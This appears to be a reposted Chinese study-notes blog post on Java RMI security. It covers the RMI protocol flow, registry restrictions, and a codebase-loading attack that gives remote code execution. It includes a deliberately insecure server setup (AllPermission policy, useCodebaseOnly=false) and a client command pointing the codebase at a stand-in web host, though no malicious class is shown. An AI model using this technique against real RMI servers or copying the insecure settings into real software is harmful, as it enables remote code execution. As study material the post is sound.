0


【学习笔记】Java安全之RMI

最近在看Phith0n师傅的知识星球的Java安全漫谈系列,随手记下笔记

RMI全称

远程方法调用(Remote Method Invocation)

。这是允许驻留在一个系统(JVM)中的对象调用在另一个JVM上运行的对象的一种机制,能够远程调用远程对象的方法。

RMI通信过程、原理

我们首先来分析下RMI的流程:

首先编写一个

RMI Server

packageRMI_Test;importjava.rmi.Naming;importjava.rmi.Remote;importjava.rmi.RemoteException;importjava.rmi.registry.LocateRegistry;importjava.rmi.server.UnicastRemoteObject;publicclassRMIServer{publicinterfaceIRemoteHelloWorldextendsRemote{publicStringhello()throwsRemoteException;}publicclassRemoteHelloWorldextendsUnicastRemoteObjectimplementsIRemoteHelloWorld{protectedRemoteHelloWorld()throwsRemoteException{super();}publicStringhello()throwsRemoteException{System.out.println("call from");return"Hello, World";}}privatevoidstart()throwsException{RemoteHelloWorld h =newRemoteHelloWorld();LocateRegistry.createRegistry(1099);Naming.rebind("rmi://127.0.0.1:1099/Hello", h);}publicstaticvoidmain(String[] args)throwsException{newRMIServer().start();}}

一个

RMI Server

的过程分为以下三个步骤:

  • 首先继承了java.rmi.Remote的接口,其中定义需要远程调用的方法,例如这里的hello()
  • 其次需要使用java.rmi.Remote的接口
  • 定义一个主类,用来创建Registry,并将上面的类实例化后绑定到一个地址

接着编写一个

RMI Client

:

packageRMI_Test;importjava.rmi.Naming;publicclassRMIClient{publicstaticvoidmain(String[] args)throwsException{RMIServer.IRemoteHelloWorld hello =(RMIServer.IRemoteHelloWorld)Naming.lookup("rmi://192.168.7.2:1099/Hello");String ret = hello.hello();System.out.println(ret);}}

客户端使用

Naming.lookup

Registry

中寻找到名字是Hello的对象,这里虽说是执行远程方法的时候代码是在远程服务器上执行的,但实际上还是需要知道有哪些方法,这时候接口的重要性就体现了,这也是为什么需要继承

Remote

并将我们需要调用的方法写在接口

IRemoteHelloWorld

里,因为客户端也需要用到这个接口。

这里使用WrireShark抓包来分析理解RMI的通信过程:

选择回环口
在这里插入图片描述

在这里插入图片描述

这就是RMI完整的通信过程,可以发现整个过程进行了两次TCP握手,也就是建立了两次TCP连接

第一次建立TCP连接是连接到远端

192.168.135.142

1099

端口,这也是服务端设置的端口(1099是RMI通信的默认端口),连接后客户端向远端发送了一个

Call

消息,远端回复了一个

ReturnData

消息,然后客户端新建了一个TCP连接到远端的

24641

端口

那么为什么会连接

24641

端口呢?,在

ReturnData

这个包中,返回了目标的IP地址

192.168.7.2

,其后的两个字节就是

24641

的十六进制:

>>> int("6041", 16)24641

在这里插入图片描述

这段数据从

ac ed

开始往后就是Java序列化数据了,IP和端口只是这个对象的一部分,捋一捋这整个过程:

  • 首先客户端连接Registry,并在其中寻找Name是Hello的对象,这个对应数据流中的Call消息;然后Registry返回一个序列化数据,这个就是找到的Name=Hello的对象,这个对应数据流中的ReturnData消息;客户端反序列化该对象,发现该对象是一个远程对象,地址在192.168.7.2:24641,于是再与这个地址建立TCP连接,在这个新的连接中,才执行真正的方法调用,也就是hello()

在这里插入图片描述

RMI Registry

就像一个网关,它自己是不会执行远程方法的,但是

RMI Server

可以在上面注册一个Name

到对象的绑定关系

RMI Client

通过Name向

RMI Registry

查询,得到这个绑定关系,然后再连接

RMI Server

;最后,远程方法实际上在

RMI Server

上调用。

接下来来看下RMI的底层架构是如何实现的:

在这里插入图片描述

RMI

底层通讯采用了

Stub(运行在客户端)

Skeleton(运行在服务端)

机制,

RMI

调用远程方法的底层通讯大致如下:

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象
  3. RemoteCall序列化RMI服务名称Remote对象
  4. RMI客户端远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端远程引用层
  5. RMI服务端远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化
  7. Skeleton处理客户端请求:bindlistlookuprebindunbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端
  8. RMI客户端反序列化服务端结果,获取远程对象的引用
  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端
  10. RMI客户端反序列化RMI远程方法调用结果

如何攻击RMI Registry?

首先,

RMI Registry

是一个远程对象管理的地方,可以理解为一个远程对象的”后台“,当我们尝试直接访问”后台“功能,如果尝试直接访问”后台“功能,会出现报错,因为Java对远程访问

RMI Registry

做了限制,只有来源地址是

localhost

的时候,才能调用

rebind

bind

unbind

等方法,不过

list

lookup

方法可以远程调用。

lookup

的作用就是获取某个远程对象,那么只要目标服务器上存在一些危险方法,我们就可以通过RMI对其进行调用,例如工具:https://github.com/NickstaDB/BaRMIe,其中一个功能就是进行危险方法的探测。

RMI利用codebase执行任意代码

Applet是采用Java编程语言编写的小应用程序,该程序可以包含在 HTML(标准通用标记语言的一个应用)页中,与在页中包含图像的方式大致相同。含有Applet的网页的HTML文件代码中部带有

<applet></applet>

这样一对标记,当支持Java的网络浏览器遇到这对标记时,就将下载相应的小应用程序代码并在本地计算机上执行该Applet。

<appletcode="HelloWorld.class"codebase="Applets"width="800"height="600"></applet>

在使用Applet的时候通常需要指定一个

codebase

属性,而RMI在远程加载的场景中,也会涉及到

codebase

codebase

是一个地址,告诉Java虚拟机前往指定的地址搜索类,类似

CLASSPATH

,但是

CLASSPATH

是本地路径,而

codebase

通常是远程URL

例如指定

codebase=http://example.com/

,然后加载

org.vulhub.example.Example

类,则Java虚拟机会下载这个文件

http://example.com/org/vulhub/example/Example.class

,并作为

Example

类的字节码

在RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就回去寻找类,如果某一段反序列化时发现一个对象,那么就回去本地

CLASSPATH

下寻找相对应的类;如果在本地没有找到这个类,就会去远程加载

codebase

中的类。

如果控制了

codebase

,就可以加载自己构造的恶意类,可以将

codebase

随着序列化数据一起传输,服务器在接收到这个数据后就会去

CLASSPATH

和指定的codebase寻找类,导致RCE

不过需要满足如下条件的RMI服务器才能被攻击:

  • 安装并配置了SecurityManager
  • Java版本低于7u216u45或者设置了java.rmi.server.useCodebaseOnly=false 其中java.rmi.server.useCodebaseOnly是在Java 7u216u45的时候修改的一个默认配置,官方将java.rmi.server.useCodebaseOnly的默认值由false改为了true。在java.rmi.server.useCodebaseOnly配置为true的情况下,Java虚拟机将只信任预先配置好的codebase,不再支持从RMI请求中获取。

这里Phith0n师傅提供了一个案例:
服务端:

importjava.rmi.Remote;importjava.rmi.RemoteException;importjava.util.List;publicinterfaceICalcextendsRemote{publicIntegersum(List<Integer> params)throwsRemoteException;}
importjava.rmi.RemoteException;importjava.rmi.server.UnicastRemoteObject;importjava.util.List;publicclassCalcextendsUnicastRemoteObjectimplementsICalc{publicCalc()throwsRemoteException{}publicIntegersum(List<Integer> params)throwsRemoteException{Integer sum =0;for(Integer param : params){
            sum += param;}return sum;}}
importjava.rmi.Naming;importjava.rmi.registry.LocateRegistry;publicclassRemoteRMIServer{privatevoidstart()throwsException{if(System.getSecurityManager()==null){System.out.println("setup SecurityManager");System.setSecurityManager(newSecurityManager());}Calc h =newCalc();LocateRegistry.createRegistry(1099);Naming.rebind("refObj", h);}publicstaticvoidmain(String[] args)throwsException{newRemoteRMIServer().start();}}
client.policy

,放在

jdk1.8.0_341\jre\lib\security\

下,不过运行的时候最好用绝对路径

grant {
    permission java.security.AllPermission;};

运行

javac *.java
java -Djava.rmi.server.hostname=192.168.135.142 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer

客户端

importjava.io.Serializable;importjava.rmi.Naming;importjava.util.ArrayList;importjava.util.List;publicclassRMIClientimplementsSerializable{publicclassPayloadextendsArrayList<Integer>{}publicvoidlookup()throwsException{ICalc r =(ICalc)Naming.lookup("rmi://192.168.50.3:1099/refObj");List<Integer> li =newPayload();
        li.add(3);
        li.add(4);System.out.println(r.sum(li));}publicstaticvoidmain(String[] args)throwsException{newRMIClient().lookup();}}

这个

Client

我们需要在另一个位置运行,因为我们需要让

RMI Server

在本地

CLASSPATH

里找不到类,才
会去加载

codebase

中的类,所以不能将

RMIClient.java

放在

RMI Server

所在的目录中。

java -Djava.rmi.server.useCodebaseOnly=false-Djava.rmi.server.codebase=http://example.com/RMIClient

我们只需要编译一个恶意类,将其

class

文件放置在Web服务器的

/RMIClient$Payload.class

即可。

不过我这里并没有执行成功,尝试过很多解决方法都不行(java版本问题,

classpath

问题,目录问题都尝试过),如果有师傅这一步能成功加载到

codebase

的,希望通过以下联系方式加个好友,想请教下,谢谢

标签: Java RMI

本文转载自: https://blog.csdn.net/mochu7777777/article/details/130034496
版权归原作者 末 初 所有, 如有侵权,请联系我们删除。

“【学习笔记】Java安全之RMI”的评论:

还没有评论